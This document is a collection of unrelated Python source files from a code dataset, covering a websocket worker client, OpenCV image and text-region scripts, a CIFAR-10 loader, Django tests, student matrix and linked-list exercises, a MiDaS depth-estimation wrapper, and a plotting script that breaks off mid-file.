+{"seq_id":"549905904","text":"from enum import Enum\nfrom typing import Tuple, List, Callable\n\nfrom twisted.internet.protocol import ReconnectingClientFactory\nfrom autobahn.twisted.websocket import WebSocketClientProtocol, WebSocketClientFactory\nfrom twisted.internet import reactor\nimport json\nimport threading\nfrom localizator.receiver import Receiver\nfrom localizator.MLE import MLE\n\n\nclass Messages:\n\n @staticmethod\n def connect():\n msg = {\n \"type\": \"Connect\",\n \"clientType\": \"Worker\"\n }\n return json.dumps(msg).encode('utf-8')\n\n @staticmethod\n def settings(receivers: List[Receiver]) -> str:\n msg = {\n \"type\": \"Settings\",\n \"receivers\": [rec.json for rec in receivers]\n }\n return json.dumps(msg).encode('utf-8')\n\n @staticmethod\n def result(root1: Tuple[float, float, float], root2: Tuple[float, float, float], root_idx: int):\n msg = {\n \"type\": \"Result\",\n \"roots\":[\n {\"pos\": {\"x\": root1[0], \"y\": root1[1], \"z\": root1[2]}},\n {\"pos\": {\"x\": root2[0], \"y\": root2[1], \"z\": root2[2]}}\n ],\n \"chosenRootId\": root_idx\n }\n return json.dumps(msg).encode('utf-8')\n\n @staticmethod\n def error(err_msg: str):\n msg = {\n \"type\": \"Error\",\n \"msg\": err_msg\n }\n return json.dumps(msg).encode(\"utf-8\")\n\n\nserver = \"10.128.99.64\" # Server IP Address or domain eg: tabvn.com\nport = 8081 # Server Port\n\n\nclass App:\n\n onSettings: Callable[[List[Tuple[float, float, float]], int], None] = None\n onSimulate: Callable[[Tuple[float, float, float]], List[Tuple[float, float, float]]] = None\n on_settings_req: Callable[[], None] = None\n on_result_ready: Callable[[], None] = None\n\n\nclass AppProtocol(WebSocketClientProtocol):\n\n def onConnect(self, response):\n print(\"Connected to the server\")\n self.factory.resetDelay()\n\n def onOpen(self):\n print(\"Connection is open\")\n self.sendMessage(Messages.connect(), isBinary=False)\n\n def onMessage(self, payload, isBinary):\n if isBinary:\n print(\"Got Binary message {0} bytes\".format(len(payload)))\n else:\n msg = payload.decode('utf8')\n print(\"Got Text message from the server {0}\".format(msg))\n try:\n self.decode_message(payload.decode('utf8'))\n except KeyError as ex:\n print(\"Message: {0}\\nis invalid!\".format(msg))\n self.sendMessage(Messages.error(\"Invalid Message !\"))\n except MLE.InvalidInput as ex:\n print(str(ex))\n self.sendMessage(Messages.error(str(ex)))\n\n\n def onClose(self, wasClean, code, reason):\n print(\"Connect closed {0}\".format(reason))\n\n def decode_message(self, msg: str):\n obj = json.loads(msg)\n if obj[\"type\"] == \"Simulate\":\n src = obj[\"simSource\"]\n pos = (src[\"pos\"][\"x\"], src[\"pos\"][\"y\"], src[\"pos\"][\"z\"])\n print(pos)\n if App.onSimulate:\n res = App.onSimulate(pos)\n self.sendMessage(Messages.result(res[0], res[1], 0))\n\n elif obj[\"type\"] == \"Settings\":\n rec_settings = obj[\"receivers\"]\n positions = []\n ref_idx = 0\n for [idx, rec] in enumerate(rec_settings):\n positions.append((rec[\"pos\"][\"x\"], rec[\"pos\"][\"y\"], rec[\"pos\"][\"z\"]))\n if rec[\"isReference\"]:\n ref_idx = idx\n\n if App.onSettings:\n App.onSettings(positions, ref_idx)\n\n\nclass AppFactory(WebSocketClientFactory, ReconnectingClientFactory):\n protocol = AppProtocol\n\n def clientConnectionFailed(self, connector, reason):\n self.retry(connector)\n\n def clientConnectionLost(self, connector, unused_reason):\n self.retry(connector)\n\n\nclass Connection():\n def __init__(self):\n super(Connection, self).__init__()\n self.factory = AppFactory(u\"ws://{0}\".format(server).format(\":\").format(port))\n\n def run(self):\n reactor.connectTCP(server, port, self.factory)\n reactor.run()\n\n def send(self, msg):\n self.factory.protocol.sendMessage(msg, isBinary=False)\n\n\ndef __test():\n import sys\n from twisted.python import log\n log.startLogging(sys.stdout)\n connection = Connection()\n # connection.daemon = True\n connection.run()\n\n# __test()\n","sub_path":"localizator/connection.py","file_name":"connection.py","file_ext":"py","file_size_in_byte":4444,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"533726292","text":"# Imports\nimport numpy as np \nimport cv2\nimport argparse\n\nap = argparse.ArgumentParser()\n\nap.add_argument('-i', '--image', required = True,\n\thelp = \"Fuck you!\")\n\nargs = vars(ap.parse_args())\n\nimage = cv2.imread(args['image'])\ncv2.imshow(\"look it's our image!\", image)\ncv2.waitKey(0)\n\n# Question 2\ncv2.imshow(\"A\",image[85:250, 85:220])\ncv2.imshow(\"B\",image[173:235, 13:81])\ncv2.imshow(\"C\",image[124:212, 225:380])\ncv2.imshow(\"D\",image[90:450, 0:290])\ncv2.waitKey(0)\ncv2.destroyAllWindows()\n\n# Question 3\ncv2.imshow(\"A\",image[85:250, 85:220])\ncv2.imshow(\"B\",image[90:450, 0:290])\ncv2.imshow(\"C\",image[173:235, 13:81])\ncv2.imshow(\"D\",image[124:212, 225:380])\ncv2.waitKey(0)","sub_path":"1.4.5_Cropping.py","file_name":"1.4.5_Cropping.py","file_ext":"py","file_size_in_byte":670,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"481464254","text":"# -*- coding: utf-8 -*-\r\n\"\"\"\r\nCreated on Mon Apr 10 11:31:29 2017\r\n\r\n@author: DrLC\r\n\"\"\"\r\n\r\nimport pickle\r\nimport numpy\r\nimport random\r\n\r\npath = 'cifar-10-python/'\r\ndata_batch = ['data_batch_1',\r\n 'data_batch_2',\r\n 'data_batch_3',\r\n 'data_batch_4',\r\n 'data_batch_5']\r\ntest_batch = 'test_batch'\r\n\r\ndef load_data():\r\n data = ([[],[]],[[],[]])\r\n for i in range(len(data_batch)):\r\n with open(path+data_batch[i], 'rb') as fo:\r\n tmp = pickle.load(fo, encoding='bytes')\r\n data[0][0].append(tmp[b'data'])\r\n data[0][1].append(tmp[b'labels'])\r\n print (path+data_batch[i]+' loaded!')\r\n data[0][0] = numpy.array(data[0][0], dtype='float32') / 255.\r\n data[0][0] = numpy.transpose(numpy.reshape(data[0][0],\r\n (50000, 3, 32, 32)),\r\n axes=(0,2,3,1))\r\n data[0][1] = numpy.array(data[0][1], dtype='int32')\r\n data[0][1] = numpy.reshape(data[0][1], (50000,))\r\n label = []\r\n for i in range(50000):\r\n tmp = data[0][1][i]\r\n label.append([0, 0, 0, 0, 0, 0, 0, 0, 0, 0])\r\n label[-1][tmp] = 1\r\n data[0][1] = numpy.array(label, dtype='float64')\r\n with open(path+test_batch, 'rb') as fo:\r\n tmp = pickle.load(fo, encoding='bytes')\r\n data[1][0] = tmp[b'data']\r\n data[1][1] = tmp[b'labels']\r\n print (path+test_batch+' loaded!')\r\n data[1][0] = numpy.array(data[1][0], dtype='float32') / 255.\r\n data[1][0] = numpy.transpose(numpy.reshape(data[1][0],\r\n (10000, 3, 32, 32)),\r\n axes=(0,2,3,1))\r\n data[1][1] = numpy.array(data[1][1], dtype='int32')\r\n label = []\r\n for i in range(10000):\r\n tmp = data[1][1][i]\r\n label.append([0, 0, 0, 0, 0, 0, 0, 0, 0, 0])\r\n label[-1][tmp] = 1\r\n data[1][1] = numpy.array(label, dtype='float64')\r\n return data\r\n\r\ndef minibatch(data, label, batch_size):\r\n l = label.shape[0]\r\n candidate = random.sample(range(l), batch_size)\r\n mini_data = []\r\n mini_label = []\r\n for i in range(batch_size):\r\n mini_data.append(data[candidate[i]])\r\n mini_label.append(label[candidate[i]])\r\n mini_data = numpy.array(mini_data, dtype='float32')\r\n mini_label = numpy.array(mini_label, dtype='float32')\r\n return mini_data, mini_label\r\n\r\nif __name__ == '__main__':\r\n train, test = load_data()\r\n print (train[0].shape)\r\n print (train[1].shape)\r\n print (test[0].shape)\r\n print (test[1].shape)","sub_path":"cifar.py","file_name":"cifar.py","file_ext":"py","file_size_in_byte":2584,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"47802891","text":"A = int(input())\nB = int(input())\nC = int(input())\nX = int(input())\n\n# max\nmax_500 = X // 500\nmax_100 = X // 100\nmax_50 = X // 50\n\n# [main process]\ncount = 0\nfor a in range(min(A, max_500) + 1):\n for b in range(min(B, max_100) + 1):\n for c in range(min(C, max_50) + 1):\n if 500 * a + 100 * b + 50 * c == X:\n count += 1\nprint(count)\n\n# # bottom up\n# max_50 = 50 * C\n# remains = X - max_50\n\n# # from X\n# max_50 = X // 50\n# count = 0\n# remains = max_50 - C\n# if remains <= 0:\n# count += 1\n \n\n","sub_path":"AtCoder/Beginners_Selection/Coins.py","file_name":"Coins.py","file_ext":"py","file_size_in_byte":532,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"391917579","text":"# IMPORTS #\nimport cv2 as cv\nimport glob\nimport os\nimport math\nimport numpy as np\nfrom matplotlib import pyplot as plt\n\ndef find_text(img, background_mask, name, option):\n \n #Option find is used previous to read the text in the image, whereas option remove should be used when text needs to be completely removed from it\n if option == 'find':\n max_aspect_ratio = 0.7\n min_aspect_ratio = 1/15\n min_occupancy_ratio = 0.5\n min_compactness_ratio = 0.0022\n th=0.004\n if option == 'remove':\n max_aspect_ratio = 0.6\n min_aspect_ratio = 1/20\n min_occupancy_ratio = 0.4\n min_compactness_ratio = 0.002\n th=0.005\n\n masks = []\n height = img.shape[0]\n width = img.shape[1]\n npx = height*width\n\n for picture in range(np.shape(background_mask)[0]):\n #Crop image\n img = cv.bitwise_and(img, img, mask=background_mask[picture])\n\n #Image pre-processing: the difference betwen the image opening and closing is computed\n kernel = cv.getStructuringElement(cv.MORPH_ELLIPSE, (2*6-1, 2*6-1))\n img_opening = cv.morphologyEx(img, cv.MORPH_OPEN, kernel)\n img_closing = cv.morphologyEx(img, cv.MORPH_CLOSE, kernel)\n img_enhanced = img_closing - img_opening\n img_lowpass\t= cv.GaussianBlur(img_enhanced, (5,5), 20)\n\n #Binarization: only the 4% brightest pixels are set to positive\n hist = cv.calcHist([img_lowpass], [0], None, [256], [0, 255])/npx\n prob=0\n i=0\n while(prob<th and i<256):\n prob += hist[255-i][0]\n i+=1\n th=255-i\n ret,img_binary = cv.threshold(img_lowpass,th,255,cv.THRESH_BINARY)\n\n #Candidate text region extraction\n kernel = np.ones((15,30), np.uint8)\n img_dilated = cv.dilate(img_binary,kernel,iterations = 3)\n kernel = np.ones((10,10), np.uint8)\n img_eroded = cv.erode(img_dilated,kernel,iterations = 2)\n img_opening = cv.morphologyEx(img_eroded, cv.MORPH_OPEN, np.ones((15,15), np.uint8))\n\n \"\"\"\n cv.namedWindow('img_opening',cv.WINDOW_NORMAL)\n cv.resizeWindow('img_opening', 600,600)\n cv.imshow(\"img_opening\", img_opening)\n cv.waitKey(0)\n cv.destroyAllWindows()\n \"\"\"\n\n num, labels = cv.connectedComponents(img_opening)\n sorted_labels = labels.ravel()\n sorted_labels = np.sort(sorted_labels)\n\n labels = np.uint8(labels)\n \"\"\"\n cv.imshow(\"img_binary\", labels*255)\n cv.waitKey(0)\n cv.destroyAllWindows()\n \"\"\"\n #Discarting non desired regions\n if np.shape(background_mask)[0]>1:\n min_size = npx/(20*20)\n else:\n min_size = npx/(15*15)\n coords = []\n\n for i in range(1, num+1):\n\n region = labels == i\n region = np.uint8(region)\n positions = np.where(labels == i)\n size = len(positions[0])\n\n if size < min_size:\n\n labels[positions] = 0\n\n else:\n\n _, contours,_ = cv.findContours(region, cv.RETR_EXTERNAL, cv.CHAIN_APPROX_NONE)\n contour_sizes = [(cv.contourArea(contour), contour) for contour in contours]\n largest_contour = max(contour_sizes, key=lambda x: x[0])[1]\n (x,y,w,h) = cv.boundingRect(largest_contour)\n perimeter = cv.arcLength(largest_contour,True)\n if h/w>max_aspect_ratio or h/w<min_aspect_ratio or len(positions[0])/(w*h)<min_occupancy_ratio or (w*h)/(perimeter*perimeter)<min_compactness_ratio:\n labels[positions] = 0\n else:\n coords.append((x,y,w,h,size))\n \n # cv.namedWindow('img_binary',cv.WINDOW_NORMAL)\n # cv.resizeWindow('img_binary', 600,600)\n # cv.imshow(\"img_binary\", labels*255)\n # cv.waitKey(0)\n # cv.destroyAllWindows()\n \n #Creating the expected number of masks by keeping the biggest bounding boxes\n coords.sort(key=lambda x:x[4], reverse=True)\n tx = []\n ty = []\n mask=[]\n if option == 'find':\n length = 1\n if option == 'remove':\n length = max(len(coords),1)\n\n m = np.zeros((height,width),np.uint8)\n for i in range(length):\n if len(coords)>0:\n (x,y,w,h,size) = coords.pop(0) \n m[y:y + h, x:x + w] = 255\n tx.append((x+w)/2)\n ty.append((y+h)/2)\n\n \"\"\"\n cv.namedWindow('mask',cv.WINDOW_NORMAL)\n cv.resizeWindow('mask', 600,600)\n cv.imshow(\"mask\", m)\n cv.waitKey(0)\n cv.destroyAllWindows()\n \"\"\"\n masks.append(m)\n\n if option == 'remove':\n total_mask=np.zeros((height,width),np.uint8)\n total_masks = []\n for i in range(len(masks)):\n total_mask+=masks[i]\n for i in range(np.shape(background_mask)[0]):\n total_masks.append(total_mask)\n\n return total_masks\n\n \n # #Matching text mask to background mask (only if the image contains 2 or more paintings)\n # if np.shape(background_mask)[0]>1:\n # cx = np.zeros(2)\n # cy = np.zeros(2)\n # for i in range(np.shape(background_mask)[0]):\n # moments = cv.moments(background_mask[i])\n # cx[i]=int(moments[\"m10\"]/moments[\"m00\"])\n # cy[i]=int(moments[\"m01\"]/moments[\"m00\"])\n # if np.sum(masks[0])!=0 and np.sum(masks[1])!=0:\n # if math.sqrt(((cx[0]-tx[0])**2)+((cy[0]-ty[0])**2)) + math.sqrt(((cx[1]-tx[1])**2)+((cy[1]-ty[1])**2)) > math.sqrt(((cx[0]-tx[1])**2)+((cy[0]-ty[1])**2)) + math.sqrt(((cx[1]-tx[0])**2)+((cy[1]-ty[0])**2)):\n # aux = masks[0]\n # masks[0] = masks[1]\n # masks[1] = aux\n # else:\n # if math.sqrt(((cx[0]-tx[0])**2)+((cy[0]-ty[0])**2)) > math.sqrt(((cx[1]-tx[0])**2)+((cy[1]-ty[0])**2)):\n # aux = masks[0]\n # masks[0] = masks[1]\n # masks[1] = aux\n return masks\n\n# for f in sorted(glob.glob(qs_l)):\n# name = os.path.splitext(os.path.split(f)[1])[0]\n# im = cv.imread(f, cv.IMREAD_COLOR)\n\n\"\"\"\nim = cv.imread('../qs/' + QUERY_SET + '/00005.jpg', cv.IMREAD_COLOR)\nim = cv.cvtColor(im, cv.COLOR_BGR2GRAY)\nbackground_mask = [np.zeros((100,100))]\nmasks = find_text(im, background_mask)\n\ncv.imshow(\"mask\", masks[0])\ncv.waitKey(0)\ncv.destroyAllWindows()\n\"\"\" ","sub_path":"week5/text_removal_mask2.py","file_name":"text_removal_mask2.py","file_ext":"py","file_size_in_byte":6590,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"6513692","text":"from django.test import TestCase\n#import unittest\nfrom repoApp.models.appRelated import *\nfrom repoApp.models.metricsRelated import *\nfrom repoApp.models.testRelated import *\nfrom repoApp.views.appRelated import AppsListView\nfrom repoApp.serializers.appRelatedSerializers import *\nfrom rest_framework.parsers import JSONParser\nimport json\n\n\ndef deleteAllModels():\n try:\n AppMetric.objects.all().delete()\n MethodMetric.objects.all().delete()\n ClassMetric.objects.all().delete()\n TestMetric.objects.all().delete()\n TestResults.objects.all().delete()\n Test.objects.all().delete()\n Method.objects.all().delete()\n ImportClass.objects.all().delete()\n Class.objects.all().delete()\n Application.objects.all().delete()\n AndroidProject.objects.all().delete()\n Metric.objects.all().delete()\n Application.objects.all().delete()\n AppPermission.objects.all().delete()\n DeviceState.objects.all().delete() \n Device.objects.all().delete()\n #TestOrientation.objects.all().delete()\n #Profiler.objects.all().delete()\n except Exception as e:\n print (\"Error deleting previous models\")\n print(e)\n\n\n\n# /apps/\nclass ApplicationViewTestCase(TestCase):\n \"\"\" /apps/ \"\"\"\n def __init__(self, arg):\n super(ApplicationViewTestCase, self).__init__()\n self.test_url=\"http://localhost:8000/apps/\"\n self.json_project_str=\"\"\"\n {\n \"project_description\":\"\",\n \"project_id\":\"FutExam\",\n \"project_build_tool\":\"gradle\",\n \"project_location\":\"namek\"\n }\n \"\"\"\n self.json_app_str= \"\"\"\n {\n \"app_id\": \"FutExam--714809332\",\n \"app_package\": \"com.ruirua.futexam\",\n \"app_description\": null,\n \"app_version\": \"0.0\",\n \"app_flavor\": null,\n \"app_build_type\": null,\n \"app_project\": \"FutExam\"\n } \n \"\"\"\n deleteAllModels()\n\n def setUp(self):\n json_proj_obj=json.loads(self.json_project_str)\n serialized_proj_obj = AndroidProjectSerializer(data=json_proj_obj, many=False)\n if serialized_proj_obj.is_valid(raise_exception=True):\n serialized_proj_obj.save()\n json_app_obj=json.loads(self.json_app_str)\n serialized_obj = ApplicationSerializer(data=json_app_obj, many=False)\n if serialized_obj.is_valid(raise_exception=True):\n serialized_obj.save()\n \n def tearDown(self):\n json_obj=json.loads(self.json_app_str)\n serialized_obj = ApplicationSerializer(data=json_obj, many=False)\n #Application.objects.delete(app_id=serialized_obj['app_id']) \n\n def test_app_return(self):\n response = self.client.get(self.test_url, follow=True)\n serialized_response_obj = ApplicationSerializer(data=response.data[0], many=False)\n serialized_obj = ApplicationSerializer(data=json.loads(self.json_app_str), many=False)\n self.assertEqual(serialized_response_obj.initial_data, serialized_obj.initial_data)\n \n def runTest(self):\n self.test_app_return()\n \nif __name__ == '__main__':\n suite = unittest.defaultTestLoader.loadTestsFromTestCase(ApplicationViewTestCase)\n unittest.TextTestRunner().run(suite)","sub_path":"greenRepo/repoApp/views_tests.py","file_name":"views_tests.py","file_ext":"py","file_size_in_byte":3396,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"106982665","text":"m1 = [[2, 3], [4, 5]]\nm2 = [[10, 20], [5, 6]]\n\n\n# Numero 1a\ndef Memastikan(matrix):\n \"\"\"ensure Integer data type by using\"\"\"\n for x in matrix:\n for i in x:\n assert isinstance(i, int), \"Must Integer\"\n return (\"Matrix is Consistent\")\n\n# Numero 1b\ndef Ukuran(matrix):\n \"\"\"Take the size of the matrix\"\"\"\n return (\"Matrix size = \" + str(len(matrix)) + \" x \" + str(len(matrix[0])))\n\n# Numero 1c\ndef Jumlah(matrix1, matrix2):\n \"\"\"sum of 2 Matrix\"\"\"\n if Ukuran(matrix1) == Ukuran(matrix2):\n for x in range(0, len(matrix1)):\n for y in range(0, len(matrix1[0])):\n print(matrix1[x][y] + matrix2[x][y], end=' '),\n print()\n else:\n print(\"Inappropriate Matrix\")\n\n# Numero 1d\ndef Kali(matrix1, matrix2):\n \"\"\"multiplication of 2 Matrix\"\"\"\n mat3 = []\n if Ukuran(matrix1) == Ukuran(matrix2):\n for x in range(0, len(matrix1)):\n row = []\n for y in range(0, len(matrix1[0])):\n total = 0\n for z in range(0, len(matrix1)):\n total = total + (matrix1[x][z] * matrix2[z][y])\n row.append(total)\n mat3.append(row)\n\n for x in range(0, len(mat3)):\n for y in range(0, len(mat3[0])):\n print(mat3[x][y], end=' ')\n print()\n else:\n print(\"Inappropriate Matrix\")\n\n# Numero 1d\ndef determinan(matrix):\n \"\"\"Calculate the determinant of Matrix\"\"\"\n if len(matrix) == len(matrix[0]):\n bil = [x for x in range(len(matrix))]\n jum = 0\n for i in range(len(matrix)):\n total = 1\n for x in range(len(matrix)):\n total *= matrix[x][bil[x]]\n bil += [bil.pop(0)]\n jum += total\n bil2 = [x for x in range(len(matrix))]\n bil.reverse()\n jum2 = 0\n for i in range(len(matrix)):\n total2 = 1\n for x in range(len(matrix)):\n total2 *= matrix[x][bil2[x]]\n bil2 += [bil2.pop()]\n jum2 += total2\n print(total - total2)\n return \"\"\n else:\n print(\"Matrix Type Must in 'Square Matrix' \")\n\n\n# Main Method\nprint(Memastikan(m1))\nprint(Ukuran(m1))\nJumlah(m1, m2)\nKali(m1, m2)\nprint(determinan(m1))\n\n# Numero 2\n# Numero 2a\ndef BuatNol(m, n):\n \"\"\"m for row, n for coloumn\"\"\"\n matriks = [[0 for j in range(m)] for i in range(n)]\n for i in matriks:\n print (i)\n print (\"Matriks nol ber ordo\",m,'x',n)\n\ndef buatNol(m):\n \"\"\"m for coloumn and it is square matrix same ordo\"\"\"\n matriks = [[0 for j in range(m)] for i in range(m)]\n for i in matriks:\n print (i)\n print (\"Matriks nol ber ordo\",m,'x',m)\n\n\n# Numero 2b\ndef buatIdentitas(m):\n \"\"\"Identity Matrix\"\"\"\n matriks = [[1 if j == i else 0 for j in range(m)] for i in range(m)]\n for i in matriks:\n print (i)\n print (\"Matriks identitas ber ordo\",m,'x',m)\n\nbuatNol(4)\nBuatNol(3,2)\nbuatIdentitas(4)\n\n\n# Numero 3\nclass Node:\n def __init__(self, data, nextNode=None):\n self.data = data\n self.nextNode = nextNode\n\n def cetak(head):\n curr = head\n while curr != None:\n print(curr.data)\n curr = curr.nextNode\n\n def cari(head, cari):\n curr = head\n while curr != None:\n if curr.data == cari:\n print(\"Data ditemukan!\")\n else:\n print(\"Check data!\")\n curr = curr.nextNode\n\n def tambahDepan(head):\n newNode = Node(1)\n newNode.nextNode = head\n head = newNode\n return head\n\n def tambahAkhir(head):\n curr = head\n while curr is not None:\n if curr.nextNode == None:\n newNode = Node(25)\n curr.nextNode = newNode\n return curr\n else:\n pass\n curr = curr.nextNode\n return curr\n\n def tambah(head, posisi):\n newNode = Node(8)\n newNode.nextNode = posisi.nextNode\n posisi.nextNode = newNode\n head.head = posisi\n return head\n\n def hapus(head, posisi):\n curr = head\n while curr != None:\n if curr.nextNode.data == posisi:\n curr.nextNode = curr.nextNode.nextNode\n return curr\n else:\n pass\n curr = curr.nextNode\n return curr\n\n\na = Node(14)\nb = Node(76)\nc = Node(54)\nd = Node(9796)\n\na.nextNode = b\nb.nextNode = c\nc.nextNode = d\n# print(a.nextNode.nextNode.data)\na.tambah(b)\na.cari(14)\na.tambahAkhir()\na.tambahDepan()\na.cetak()\n\n# coba = Node(1)\n# coba.tambah(b)\n# coba.cetak()\n\nclass doubly_linked():\n def __init__(self, Data, Next=None, Prev=None):\n self.Data = Data\n self.Next = Next\n self.Prev = Prev\n\n def mencetak():\n curr = head\n while curr != None:\n print(curr.Data)\n if curr.Next == None:\n curr = curr\n break\n else:\n curr = curr.Next\n print(\"\\n\")\n while curr != None:\n print(curr.Data)\n curr = curr.Prev\n def simpulAwal(head):\n newNode = doubly_linked(25)\n newNode.Next = head\n head.Prev = newNode\n head =newNode\n return head\n\n def simpulAkhir(head):\n curr = head\n while curr != None:\n if curr.Next == None:\n newNode = doubly_linked(365)\n curr.Next = newNode\n newNode.Prev = curr\n return curr\n else:\n pass\n curr = curr.Next\n return curr\n\nhell = doubly_linked(14)\nheaven = doubly_linked(15124)\nbetween = doubly_linked(9999)\nhell.Next = heaven\nheaven.Next = between\nhell.simpulAwal()\nhell.simpulAkhir()\nbetween.mencetak()\n\n# Collected by Donny L200183161\n# Angel tenan to mas --\" ajarin gooo\n\n","sub_path":"praktikum3/Tugas.py","file_name":"Tugas.py","file_ext":"py","file_size_in_byte":5898,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"606913969","text":"import math\r\n\r\nL = 600 # largura\r\nH = 600 # altura\r\n\r\n# tela (numbers e stars)\r\nL_TELA = 180 # largura\r\nTELA_BG = 'white'\r\nTELA_FG = 'red'\r\n\r\nN_BOLAS_RET = 5 # numero de bolas tiradas\r\nN_EST_RET = 2 # numero de estrelas tiradas\r\n\r\nDINHEIRO_POR_PREMIO = \\\r\n [72000000, 536000, 120000, 4500, 220, 100, 72, 23, 15, 11, 12, 8, 3.5]\r\nPREMIOS_BOLA_EST = \\\r\n [[5, 2], [5, 1], [5, 0], [4, 2], [4, 1], [4, 0], [3, 2],\r\n [2, 2], [3, 1], [3, 0], [1, 2], [2, 1], [2, 0]]\r\n\r\n# positions\r\nTELA_POSX0 = 0\r\nTELA_POSY0 = 0\r\nTELA_POSX = TELA_POSX0 + L_TELA\r\n\r\n# numbers\r\nMARGEM = 2\r\nNUM_I, NUM_F = 1, 50 # number inicial e final incluindo\r\nN_NUM = NUM_F - NUM_I + 1 # number of numbers(+1 por estarem incluindos)\r\nNUM_POR_FILA = 6\r\nNUM_POR_COLUNA = int(math.ceil(N_NUM*1. / NUM_POR_FILA))\r\n# quadradinhos\r\nNUM_Q_TAM = L_TELA / NUM_POR_FILA - MARGEM\r\nE_N = NUM_Q_TAM + MARGEM # espacamento entre numeros\r\nNUM_Q_POSX = TELA_POSX0 + MARGEM\r\nNUM_Q_POSY = TELA_POSY0 + MARGEM\r\n# numeros\r\nNUM_POSX = TELA_POSX0 + NUM_Q_TAM / 2 + MARGEM\r\nNUM_POSY = TELA_POSY0 + NUM_Q_TAM / 2 + MARGEM\r\nNUM_FONT = {'font': ('Comic Sans MS', NUM_Q_TAM/2)}\r\n\r\nTELA_POSY_MED = TELA_POSY0 + NUM_POR_COLUNA * E_N + 20\r\n\r\n# estrelas\r\nEST_I, EST_F = 1, 11 # numero inicial e final incluindo\r\nN_EST = EST_F - EST_I + 1 # numero de numeros(+1 por estarem incluindos)\r\nEST_POR_FILA = 3\r\nEST_POR_COLUNA = int(math.ceil(N_EST*1. / EST_POR_FILA))\r\n# quadradinhos\r\nE_E = (L_TELA + 1) / (2 * EST_POR_FILA) # espacamento entre estrelas = tamanho dum quadrado\r\nEST_Q_POSX = TELA_POSX0 + E_E/2\r\nEST_Q_POSY = TELA_POSY_MED\r\n# numeros\r\nEST_POSX = EST_Q_POSX + E_E / 2\r\nEST_POSY = EST_Q_POSY + E_E / 2\r\nEST_FONT = {'font': ('Comic Sans MS', E_E/2)}\r\n\r\nTELA_POSY = TELA_POSY_MED + EST_POR_COLUNA * 2 * E_E\r\nH_TELA = TELA_POSY - TELA_POSY0\r\n","sub_path":"constantes.py","file_name":"constantes.py","file_ext":"py","file_size_in_byte":1797,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"518251084","text":"import sys\n\nimport numpy as np\nimport torch\nimport torch.hub\nfrom PIL import Image\nfrom torchvision.transforms import Compose\n\nfrom _model_base import ModelBase, handle_alpha\nfrom _util import apply_colormap, to_rgb\n\n\n# Simplified transforms from\n# https://github.com/intel-isl/MiDaS/blob/master/models/transforms.py\nclass Resize:\n def __init__(self, width, height, image_interpolation_method=Image.BICUBIC):\n self.__width = width\n self.__height = height\n self.__multiple_of = 32\n self.__image_interpolation_method = image_interpolation_method\n\n def constrain_to_multiple_of(self, x):\n return (np.round(x / self.__multiple_of) * self.__multiple_of).astype(int)\n\n def get_size(self, width, height):\n scale_height = self.__height / height\n scale_width = self.__width / width\n\n # scale such that output size is upper bound\n if scale_width < scale_height:\n # fit width\n scale_height = scale_width\n else:\n # fit height\n scale_width = scale_height\n\n new_height = self.constrain_to_multiple_of(scale_height * height)\n new_width = self.constrain_to_multiple_of(scale_width * width)\n return new_width, new_height\n\n def __call__(self, image):\n width, height = self.get_size(image.shape[1], image.shape[0])\n resized = Image.fromarray(image).resize((width, height), self.__image_interpolation_method)\n return np.array(resized)\n\n\nclass NormalizeImage:\n def __init__(self, mean, std):\n self.__mean = mean\n self.__std = std\n\n def __call__(self, image):\n return (image - self.__mean) / self.__std\n\n\nclass PrepareForNet:\n def __call__(self, image):\n image = np.transpose(image, (2, 0, 1))\n image = np.ascontiguousarray(image, dtype=np.float32)\n tensor = torch.from_numpy(image)\n return tensor.unsqueeze(0)\n\n\nclass MiDaS(ModelBase):\n def __init__(self):\n super().__init__()\n self.hub_repo = \"intel-isl/MiDaS\"\n\n def load_model(self):\n model = torch.hub.load(self.hub_repo, \"MiDaS\", pretrained=True)\n model.to(self.device)\n model.eval()\n return model\n\n @staticmethod\n def get_transform():\n return Compose([\n Resize(384, 384),\n lambda x: x / 255.,\n NormalizeImage(mean=[0.485, 0.456, 0.406], std=[0.229, 0.224, 0.225]),\n PrepareForNet()\n ])\n\n @handle_alpha\n @torch.no_grad()\n def predict(self, input_image, colormap=None):\n h, w, d = input_image.shape\n assert d == 3, \"Input image must be RGB\"\n\n torch.backends.cudnn.enabled = True\n torch.backends.cudnn.benchmark = True\n\n transform = self.get_transform()\n image_tensor = transform(input_image).to(self.device)\n prediction = self.model.forward(image_tensor)\n prediction = torch.nn.functional.interpolate(\n prediction.unsqueeze(1),\n size=(h, w),\n mode=\"bicubic\",\n align_corners=False,\n )\n disp = prediction.squeeze().cpu().numpy()\n disp /= disp.max()\n\n if colormap:\n out = apply_colormap(disp, colormap)\n else:\n out = to_rgb(disp)\n return (out * 255).astype(np.uint8)\n\n\nmodel = MiDaS()\n\nif __name__ == '__main__':\n rpc_url = sys.argv[1]\n model.process_rpc(rpc_url)\n","sub_path":"models/MiDaS.py","file_name":"MiDaS.py","file_ext":"py","file_size_in_byte":3410,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"367968395","text":"# For Plotting State Value from trained policy \n\n\nimport matplotlib\nmatplotlib.use('TkAgg')\nimport matplotlib.pyplot as plt\nimport numpy as np\n\nxlist = np.linspace(-1.0, 1.0, 100)\nylist = np.linspace(-1.0, 1.0, 100)\nX, Y = np.meshgrid(xlist, ylist)\nZ = np.sqrt(X**2 + Y**2)\n# print(Z)\n\nplt.figure()\ncp = plt.contour(X, Y, Z)\nplt.clabel(cp, inline=True,\n fontsize=10)\nstate_space = np.load(\"chakra_state_space.npy\")\nval = np.load(\"chakra_val_fun.npy\")\nval = np.around(val, decimals=2)\nx = []\ny = []\nfor j in range(len(state_space)):\n x.append(state_space[j][0])\n y.append(state_space[j][1])\nplt.scatter(x, y,marker='o')\n\nfor i, txt in enumerate(val):\n 